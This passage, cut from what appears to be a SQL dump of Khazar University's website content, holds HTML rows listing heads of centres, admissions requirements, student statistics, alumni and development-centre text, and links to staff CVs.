href=\"mailto:zyusifoglu[at]khazar.org\">zyusifoglu[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/889/printing_house\">Printing House</a></strong></p><p><em>Rufat Isayev</em>, MS, director,&nbsp;<a href=\"mailto:risayev[at]khazar.org\">risayev[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/897/canteen\">Canteen</a></strong></p><p><em>Rafig Musayev</em></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/894/the_health_care_center\">Health Care Center</a></strong></p><p><em>Leyla Cemilzade</em>, MD, head physician,&nbsp;<a href=\"mailto:lcemilzade[at]khazar.org\">lcemilzade[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/101/khazar_psychology_counselling_center\">Khazar Psychology Counseling&nbsp;Center</a>&nbsp;</strong></p><p><em>Melek Kerimova</em>, director,&nbsp;<a href=\"mailto:mkerimova[at]khazar.org\">mkerimova[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/89/development_center\">Development Center</a></strong></p><p><em>Raziya Isayeva</em>, MS, director,&nbsp;<a href=\"mailto:risayeva[at]khazar.org\">risayeva[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/890/institutional_research\">Institutional Research Center</a></strong>&nbsp;</p><p><em>Rafig Ahmadov</em>, Ph.D., Associate Professor, director,&nbsp;<a href=\"mailto:rahmadov[at]khazar.org\">rahmadov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/100/multimedia_center\">Multimedia Center</a></strong>&nbsp;</p><p><em>Natella Barkaya</em>, MS, director,&nbsp;<a href=\"mailto:media-center[at]khazar.org\">media-center[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/424/internet_education_center\">Internet Education Center</a></strong></p><p><strong></strong></p><p><em>Mahammad Sharifov</em>,&nbsp;Ph.D., director,&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/103/career_development_center\">Career Development&nbsp;Center</a></strong></p><p><em>Ulviyya Huseynova</em>, director,&nbsp;<a href=\"mailto:uhuseynova[at]khazar.org\">uhuseynova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/99/library_and_information_center\">Library and Information Center</a></strong></p><p><em>Aytaj Misgerli</em>, MS, director,&nbsp;<a href=\"mailto:amiskerli[at]khazar.org\">amiskerli[at]khazar.org</a>&nbsp;</p><div><br></div><div><br></div><h3>Heads of Institutes and Centers</h3><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/96/institute_of_education_policy\">Institute of Education Policy</a></strong></p><p><em>Hamlet Isakhanli</em>, DS, Professor,&nbsp;<a href=\"mailto:hamlet[at]khazar.org\">hamlet[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/92/assembly_of_science_and_art\">Assembly of Science and Art</a></strong></p><p><em>Hamlet Isakhanli</em>, DS, Professor,&nbsp;<a href=\"mailto:hamlet[at]khazar.org\">hamlet[at]khazar.org</a><a href=\"mailto:hamlet[at]khazar.org\"></a><a href=\"mailto:hamlet[at]khazar.org\"></a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/95/eurasia_extractive_industries_knowledge_hub\">Eurasia Production Industry Knowledge Center</a></strong></p><p><em>Ingilab Ahmadov</em>, DS, Professor, director,&nbsp;<a href=\"mailto:ingilab[at]khazar.org\">ingilab[at]khazar.org</a>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/890/_institusional_arashdirmalar\">Institutional Research Center</a></strong></p><p><em>Rafig Ahmadov</em>, Ph.D., Associate Professor, director,&nbsp;<a href=\"mailto:rahmadov[at]khazar.org\">rahmadov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/93/legal_education_center\">Legal Education Center</a></strong>&nbsp;</p><p><em>Jabir Khalilov</em>, Ph.D., Associate Professor, director,&nbsp;<a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a>&nbsp;&nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/89/development_center\">Development Center</a></strong></p><p><em>Raziya Isayeva</em>, MS, director,&nbsp;<a href=\"mailto:risayeva[at]khazar.org\">risayeva[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/94/dictionary_and_encyclopedia_center\">Dictionary and Encyclopedia Center</a></strong></p><p><em>Zamira Veliyeva</em>, MS, coordinator,&nbsp;<a href=\"mailto:zveliyeva[at]khazar.org\">zveliyeva[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/99/library_and_information_center\">Library and Information Center</a></strong></p><p><em>Aytaj Misgerli</em>, MS, director,&nbsp;<a href=\"mailto:amiskerli[at]khazar.org\">amiskerli[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/100/multimedia_center\">Multimedia Center</a></strong>&nbsp;</p><p><em>Natella Barkaya</em>, MS, director,&nbsp;<a href=\"mailto:media-center[at]khazar.org\">media-center[at]khazar.org</a></p><p><strong><br></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/101/khazar_psychology_counselling_center\">Khazar Psychology Counseling&nbsp;Center</a>&nbsp;</strong></p><p><em>Melek Kerimova</em>, director,&nbsp;<a href=\"mailto:mkerimova[at]khazar.org\">mkerimova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/97/quality_assurance_center\">Quality Assurance Center</a></strong></p><p><em>Lyudmila Sotova</em>, MS, director,&nbsp;<a href=\"mailto:lsotova[at]khazar.org\">lsotova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/103/career_development_center\">Career Development&nbsp;Center</a></strong></p><p><em>Ulviyya Huseynova</em>, director,&nbsp;<a href=\"mailto:uhuseynova[at]khazar.org\">uhuseynova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/424/internet_education_center\">Internet Education Center</a></strong></p><p><em>Mahammad Sharifov</em>,&nbsp;Ph.D., director,&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a></p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/en/menus/91/migration_competence_center\"><strong>Migration Competence Center</strong></a><strong></strong></p><p><em>Rima Mammadova</em>, MS, coordinator,&nbsp;<a href=\"mailto:rmammadova[at]khazar.org\">rmammadova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/74/khazar_tv\">Khazar TV</a></strong></p><p><em>Alik Alioglu</em>, BS, coordinator,&nbsp;<a href=\"mailto:aalioglu[at]khazar.org\">aalioglu[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/75/khazar_university_radio\">Radio Khazar</a></strong></p><p><em>Alik Alioglu</em>, BS, coordinator,&nbsp;<a href=\"mailto:aalioglu[at]khazar.org\">aalioglu[at]khazar.org</a></p>  <br>'),(68,75,'en','Faculty','Faculty','<p>Khazar employs a body of about 200 full-time and adjunct faculty includeing renowned experts and scholars, business leaders, lawyers and artists of national and international reputation.</p>'),(69,76,'en','Current students','Current students','<p>The student body comes from Baku, various regions of Azerbaijan, countries of the former Soviet Union, the Middle East, Africa, India, Pakistan, South Korea, Europe, North America and other countries.</p><p>Many races and cultures are represented. Khazar University has a total student body of approximately 1700.</p><p>Of them, 54.4% are males and 45.6% - females.</p><p>20% of the students are pursuing graduate studies.</p><p>International students constitute about 15% of the student body.&nbsp;</p>'),(70,77,'en','Prospective students','Prospective students','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prospective students for undergraduate programs</p><p style=\"font-size:medium\">In order to receive admission to undergraduate programs, prospective students who are Azerbaijan nationals must submit the following documents:  <br></p>\r\n<ul><li>Official undergraduate test score from the State Student Admission Commission of Azerbaijan</li><li>Official application of Khazar University</li></ul><p style=\"font-size:medium\">Nationals of other countries can directly apply to the\r\nuniversity from their home countries.</p>\r\n<p style=\"font-size:medium\">Different documents may be required for nationals of\r\ndifferent countries, therefore</p>\r\n<p style=\"font-size:medium\">prospective international students should contact the&nbsp;<a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">International\r\nAffairs Office</a>&nbsp;for details.</p>\r\n<p style=\"font-size:medium\">Prospective students for graduate programs</p><p style=\"font-size:medium\">In order to gain admission to graduate programs, Azerbaijan nationals must submit the following documents:&nbsp;</p><ul><li>Official graduate test score from the State Student Admission Commission of Azerbaijan</li><li>Copies of previous diplomas and transcripts</li><li>Official application of Khazar University&nbsp;</li></ul><p style=\"font-size:medium\">Nationals of other countries can directly apply to the\r\nuniversity from their home countries.</p>\r\n<p style=\"font-size:medium\">Different documents may be required for nationals of\r\ndifferent countries,&nbsp;therefore prospective international students should contact\r\nthe&nbsp;<a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">International\r\nAffairs Office</a>&nbsp;for details.</p>'),(6139,3497,'az','2018-2019','','<p><strong><a href=\"http://www.khazar.org/files/master/Doktorantlar_%C3%BC%C3%A7%C3%BCn_%C4%B0ngilis-dili_2018-2019.docx\">ENGL 599 Doktorantlar üçün İngilis dili</a></strong></p><p><a href=\"http://www.khazar.org/files/master/Alman_dili_2018-2019.docx\"><strong>GERM 201&nbsp;Alman dili</strong></a></p><p><a href=\"http://www.khazar.org/files/master/Xaricil%C9%99r%20%C3%BC%C3%A7%C3%BCn%20%C4%B0ngilis%20dili%20-%202018-2019.docx\"><strong>AZLL 103 Xaricilər üçün İngilis dili</strong></a></p>'),(6140,3497,'en','2018-2019','','<p><a href=\"http://www.khazar.org/files/master/English_for_graduate-students_2018-2019.docx\"><strong>ENGL 599 English for Graduate Students</strong></a></p><p><a href=\"http://www.khazar.org/files/master/German_Language_2018-2019.docx\"><strong>GERM 201 German language</strong></a></p><p><a href=\"http://www.khazar.org/files/master/Azerbaijani%20Language%20for%20Foreigners%202018-2019.docx\"><strong>AZLL 103 Azerbaijani Language for Foreigners</strong></a><a href=\"http://www.khazar.org/files/master/Azerbaijani%20Language%20for%20Foreigners%202018-2019.docx\"></a></p>'),(2020,1228,'az','Tələbələr tədqiqatlarını müdafiə etdilər','2016-cı il iyunun 21-də İngilis dili və ədəbiyyatı departamentinin müəllimi Lalə Həmidova Təhsil fakültəsinin 3-cü kurs tələbələri ilə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 21-də İngilis dili və ədəbiyyatı departamentinin müəllimi Lalə Həmidova\r\nTəhsil fakültəsinin 3-cü kurs tələbələri ilə&nbsp;\r\n(“<em>Academic Writing</em>” fənnini tədris\r\netdiyi) tədqiqat işlərinin müdafiəsini təşkil etdi. Tədqiqat işləri Azərbaycanda\r\nhəm ali, həm də orta təhsil müəssisələrində təhsil və tədris məsələlərini əhatə\r\nedirdi. Tələbələr tədqiqat işlərini 4 ay müddətində aparmışdılar. Müdafiədə Təhsil\r\nfakültəsinin dekanı Elza Səmədova da iştirak edirdi. O, tələbələrin yüksək səviyyəli\r\nhazırlıqlarından və nailiyyətlərindən çox məmnun qaldı.</p>'),(71,78,'en','Alumni','Alumni','<p>Khazar University Development Center has been established recently to support Khazar University progress. The Center is an administrative team reporting to the President of the University and to the Board of Directors and Trustees. This center is leading the University’s advancement program as adopted by the Board of Directors and Trustees. &nbsp;The center oversees development and maintains active and productive relationships with board members, donors, alumni and administration.</p><p>The Development Center oversees specific areas: &nbsp; &nbsp; &nbsp;&nbsp;</p><p>Fundraising<br><a href=\"http://www.khazar.org/en/menus/394/alumni\">Alumni Relations</a><br>Parent Relations<br>Donor Relations<br>Foundation and Corporate Relations &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;   &nbsp; &nbsp; &nbsp;</p><p> The Development Center relies on Khazar University Foundation and Alumni Association and their extensive volunteer network to achieve fundraising goals contributing to Khazar’s mission. &nbsp;&nbsp;The Development Center designs, implements and manages all fundraising activities including Annual Giving, Endowment and Capital Campaigns, Special Projects, and other school-related solicitations. Staff of the center manage all strategies and activities for donor cultivation, solicitation, and relations. The center is also responsible for developing grant proposals for foundations and corporations, developing and implementing parent and class-based fundraising programs within the Annual Fund, and developing a comprehensive campaign program. &nbsp; &nbsp;</p>'),(72,79,'en','Staff','Staff','<div><p><strong>&nbsp;CVs_School of Engineering and Applied Science</strong></p><p><strong>Adminstration</strong></p><p><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Hassan Niknafs</a></p><p><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\">Vafa Aslanova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Jamila%20Farman.pdf\">Jamila Farman</a></p><p>&nbsp;</p><p><strong>Department Links</strong></p><p><a href=\"http://www.khazar.org/en/menus/256/faculty\">Petroleum Engineering</a><a href=\"http://enginering.khazar.org/s443/Faculty/en\" target=\"_blank\"></a></p><p><a href=\"http://www.khazar.org/en/menus/245/faculty\">Computer Science</a></p><p><a href=\"http://www.khazar.org/en/menus/267/faculty\">Electronics, Telecommunications and Radio Engineering</a></p><p><a href=\"http://www.khazar.org/en/menus/202/faculty\">Mathematics</a><br></p><p><a href=\"http://www.khazar.org/en/menus/298/faculty\">Civil Engineering</a><br></p><p><a href=\"http://www.khazar.org/en/menus/537/faculty\">Chemistry</a></p><p><br></p><p><strong>School of Humanities and Social Sciences</strong></p><p><strong>Administration</strong></p><p><a href=\"http://www.khazar.org/files/pdf/JABIR%20KHALILOV%20CV.pdf\">Jabir&nbsp;&nbsp;Khalilov&nbsp;</a><a href=\"http://www.khazar.org/files/JABIR%20KHALILOV%20CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/social/1/CV_MELEK.K.pdf\">Melek&nbsp;Kerimova</a><a href=\"http://www.khazar.org/files/MELEK%20KERIMOVA%20CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/social/1/cv_EN.pdf\">Validə Kərimova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Lamiya_Hacili_CV.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Lamiya_Hacili_CV.pdf\"></a><a href=\"http://www.khazar.org/files/social/1/CV.Pasha.E.pdf\">Pasha Aydayev</a><a href=\"http://www.khazar.org/files/pdf/Lamiya_Hacili_CV.pdf\"></a><a href=\"http://www.khazar.org/files/Lamiya%20Hacili%20CV%20_.pdf\"></a></p><p><br></p><p><strong>Biology</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Irada_Khalilova.pdf\">Irada&nbsp;Xalilova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Aytekin_Hasanova%20CV.pdf\">Aytekin&nbsp;Hasanova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Elchin_Akabarov_CV_.pdf\">Elchin&nbsp;Akabarov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Zaur_Kerimov_CV.pdf\">Zaur&nbsp;Kərimov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Seadet_Khudaverdiyeva%20CV.pdf\">Seadet&nbsp;Khudaverdiyeva&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Parvana_Bakhshaliyeva_CV.pdf\">Parvana&nbsp;Bakhshaliyeva&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Mushfig_Orujov_CV.pdf\">Mushfiq&nbsp;Orucov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Huseyn_Jafarov%20CV.pdf\">Huseyn&nbsp;Jafarov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/CV_Anar_Ibrahimov.pdf\">Anar&nbsp;Ibrahimov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/CV_Javid%20Ojaghi.pdf\">Javid Ojaghi&nbsp;</a><br></p><p>&nbsp;</p><p><strong>Languages and Cultures Department</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Zivar_Huseynova_CV.pdf\">Zivar&nbsp;Huseynova&nbsp;</a><a href=\"http://www.khazar.org/files/Zivar_Huseynova_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Elnura_Azizova%20CV.pdf\">Elnura&nbsp;Azizova&nbsp;</a><a href=\"http://www.khazar.org/files/Elnura_Azizova%20CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Abdurrazzaq_Rubai_CV.pdf\">Abdurrazzaq&nbsp;Rubai&nbsp;</a><a href=\"http://www.khazar.org/files/Abdurrazzaq_Rubai_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Faramaz_Bagirov_CV.pdf\">Faramaz&nbsp;Bagirov&nbsp;</a><a href=\"http://www.khazar.org/files/Faramaz_Bagirov_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Kamil_Sharifov_CV.pdf\">Kamil&nbsp;Sharifov&nbsp;</a><a href=\"http://www.khazar.org/files/Kamil_Sharifov%20CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Lala_Rustamova_CV.pdf\">Lala&nbsp;Rustamova&nbsp;</a><a href=\"http://www.khazar.org/files/Lala_Rustamova_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/MEHMET_RIHTIM_CV.pdf\">Mehmet&nbsp;Rihtim&nbsp;</a><a href=\"http://www.khazar.org/files/MEHMET_RIHTIM_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Nahid_Shafiyev_CV.pdf\">Nahid&nbsp;Shafiyev&nbsp;</a><a href=\"http://www.khazar.org/files/Nahid_Shafiyev_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Tarana_Akbarova_CV.pdf\">Tarana&nbsp;Akbarova&nbsp;</a><a href=\"http://www.khazar.org/files/Tarana_Akbarova_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Ulkar_Abuzarova_CV.pdf\">Ulkar&nbsp;Abuzarova&nbsp;</a><a href=\"http://www.khazar.org/files/Ulkar_Abuzarova_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/Younhong_Lee_CV.pdf\">Younhong&nbsp;Lee</a><a href=\"http://www.khazar.org/files/Younhong_Lee_CV.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/pdf/SabinaAzizovaCv.pdf\">Sabina Azizova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Aysel_Novruzova_cv.pdf\">Aysel Novruzova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/SedaqetCumayevacv.pdf\">Sedaqet Cumayeva&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc%20Allahverdiyeva%20cv.pdf\">Sevinc Allahverdiyeva</a><br></p><p>&nbsp;</p><p><strong>English</strong></p><p><strong></strong><a href=\"http://www.khazar.org/files/pdf/Adilya_Abdullayeva_CV.pdf\">Adilya&nbsp;Abdullayeva&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Arzu%20Mikayilzade.pdf\">Arzu Mikayilzade&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Firangiz%20Nasirova%20%20.docx\">Firangiz&nbsp;Nasirova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Aytan%20Mammadova.docx\">Aytan Mammadova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Aziza%20Zulfugarova.docx\">Aziza&nbsp;Zulfugarova&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Saadat_Farhadova.docx\">Saadat&nbsp;Farhadova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Khanim%20Ahmadova%20.docx\">Khanim Ahmadova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Nurana_Farhadova.doc\">Nurane Farhadova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Zamira_Gurbanova%20.doc\">Zamira Gurbanova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Nubar%20Agalarova_CV.pdf\">Nubar Agalarova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Gulnur%20MiriyevaCV.pdf\">Gulnur Miriyeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/Gunel%20Mammadova.cv.pdf\">Gunel Mammadova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Ilham_Taghiyev_CV.pdf\">Ilham&nbsp;Taghiyev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Irina%20Orujova.doc\">İrina&nbsp;Orucova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Jala_Huseynova%20.doc\">Jala&nbsp;Huseynova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Jamala_Mammadova.doc\">Jamala&nbsp;Mammadova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Ceyhun_Kerimov_CV.pdf\">Ceyhun&nbsp;Kerimov</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Kamala_Asgerova_CV.pdf\">Kamala&nbsp;Asgerova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Gulnar_AbasovaCV.pdf\">Gulnar&nbsp;Abasova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Konul_Huseynova%20CV.docx\">Konul&nbsp;Huseynova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Lala_Gamidova.doc\">Lala&nbsp;Gamidova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Leyla_Rahimova.doc\">Leyla&nbsp;Rahimova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Leyla_Salayeva.doc\">Leyla Salayeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Naila_Gasimova.doc\">Naila&nbsp;Gasimova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Minara_Farzaliyeva.doc\">Minara Farzaliyeva</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv.pdf\">Milana&nbsp;Abbasova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Parvin_Karimova_CV.pdf\">Parvin&nbsp;Karimova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Gulnaz_HajiyevaCV.pdf\">Gulnaz&nbsp;Hajiyeva</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Shahriyar_Mammadov.doc\">Shahriyar Mammadov</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/CV-Iskandarova_Sevinj.pdf\">Sevinj Iskandarova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Aida%20Khudiyeva.doc\">Aida Khudiyeva</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Narmin%20Mammadova.pdf\">Narmin Mammadova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sevinj%20Davudova.pdf\">Sevinj Davudova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/ZULFIYA%20IBRAHIMOVA%20CV.pdf\">Zulfiya Ibrahimova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/yegane_balamadova_cv.pdf\">Yegane Balamedova</a></p><p><br></p><p><strong>History and Archeology</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Roza_Arazova_%20cv.pdf\">Roza&nbsp;Arazova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Laman%20Babashli_CV.pdf\">Laman Babashli&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Gunel%20Qafarova%20cv.pdf\">Gunel Qafarova</a>&nbsp;<br></p><p>&nbsp;</p><p><strong>Instructors</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Araz_Aslanli_cv.pdf\">Araz&nbsp;Aslanli</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Elekber_Elekberov.pdf\">Ələkbər Ələkbərov</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Nasiman_Yagublu_CV_.pdf\">Nasiman&nbsp;Yagublu</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Nourida_Ateshi_CV.pdf\">Nourida&nbsp;Ateshi</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Orkhan_Zamanov%20cv.pdf\">Orkhan&nbsp;Zamanov</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Qudret%20Ismayizadeh_Cv.pdf\">Qudret Ismayizadeh&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Tahir_Cefiyev%20cv.pdf\">Tahir&nbsp;Cefiyev&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Ulviyye_Ibrahimova%20cv.pdf\">Ulviyye&nbsp;Ibrahimova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Yegana-Gozalova%20cv.pdf\">Yegana&nbsp;Gozalova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Gunay_Novruzova_CV.pdf\">Gunay&nbsp;Novruzova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Terane_Isayeva_cv%20.pdf\">Təranə İsayeva&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Jamil_HASANLI-CV.pdf\">Jamil&nbsp;Hasanli&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Namiq_Musali%20CV.pdf\">Namiq&nbsp;Musali&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Qismet_Davudov%20CV.pdf\">Qismet&nbsp;Davudov&nbsp;</a><br></p><p><br></p><p><strong>Journalism</strong></p><p><a href=\"http://www.khazar.org/files/pdf/JAB%C4%B0R%20M%C6%8FMM%C6%8FDLI%20CV.pdf\">Jabir&nbsp;Məmmədli&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/RAFI%20QURBANOV%20CV.pdf\">Rafi&nbsp;Qurbanov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/ASMAR%20YUSIFZADE%20CV.pdf\">Asmar&nbsp;Yusifzade&nbsp;</a></p><p>&nbsp;</p><p><strong>Law</strong></p><p><a href=\"http://www.khazar.org/files/pdf/JABIR%20KHALILOV%20CV.pdf\">Jabir&nbsp;Khalilov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/AKiF_ALiZADE%20cv.pdf\">Akif&nbsp;Alizade&nbsp;</a></p><p>&nbsp;</p><p><strong>Music and Fine Arts</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Zulfiyya-Sadigova%20CV.pdf\">Zulfiyya&nbsp;Sadigova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Yegana%20Akhundova%20CV.pdf\">Yegana Akhundova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Telman_Aliyev_CV.pdf\">Telman&nbsp;Əliyev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Sabina_Minasazova_CV.pdf\">Sabina&nbsp;Minasazova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Munavvar%20Samedova_CV.pdf\">Munavvar Samedova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Mir_Nazim_Asadullayev_CV.pdf\">MirNazim&nbsp;Asadullayev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Mesheti_Cabbarova_CV.pdf\">Mesheti&nbsp;Cabbarova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Ramin_Rzayev_CV.pdf\">Ramin&nbsp;Rzayev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Fidan%20Hajiyeva%20CV.pdf\">Fidan Hajiyeva</a></p><p><a href=\"http://www.khazar.org/files/pdf/Afaq_Kerimova_CV.pdf\">Afaq&nbsp;Kerimova</a></p><p><a href=\"http://www.khazar.org/files/pdf/Arif_Babayev_CV.pdf\">Arif&nbsp;Babayev</a></p><p><a href=\"http://www.khazar.org/files/pdf/Tofiq%20Cabarov%20cv.pdf\">Tofiq Cabarov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Memmedov_SEID_cv.pdf\">Məmmədov Səid&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\">Rzayev İlqar&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\">Hüseynli Aydan&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Reksane_Madanova_cv.pdf\">Rəksanə Madanova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Ivanov_Ali_cv.pdf\">İvanov Ali&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\">İvanova 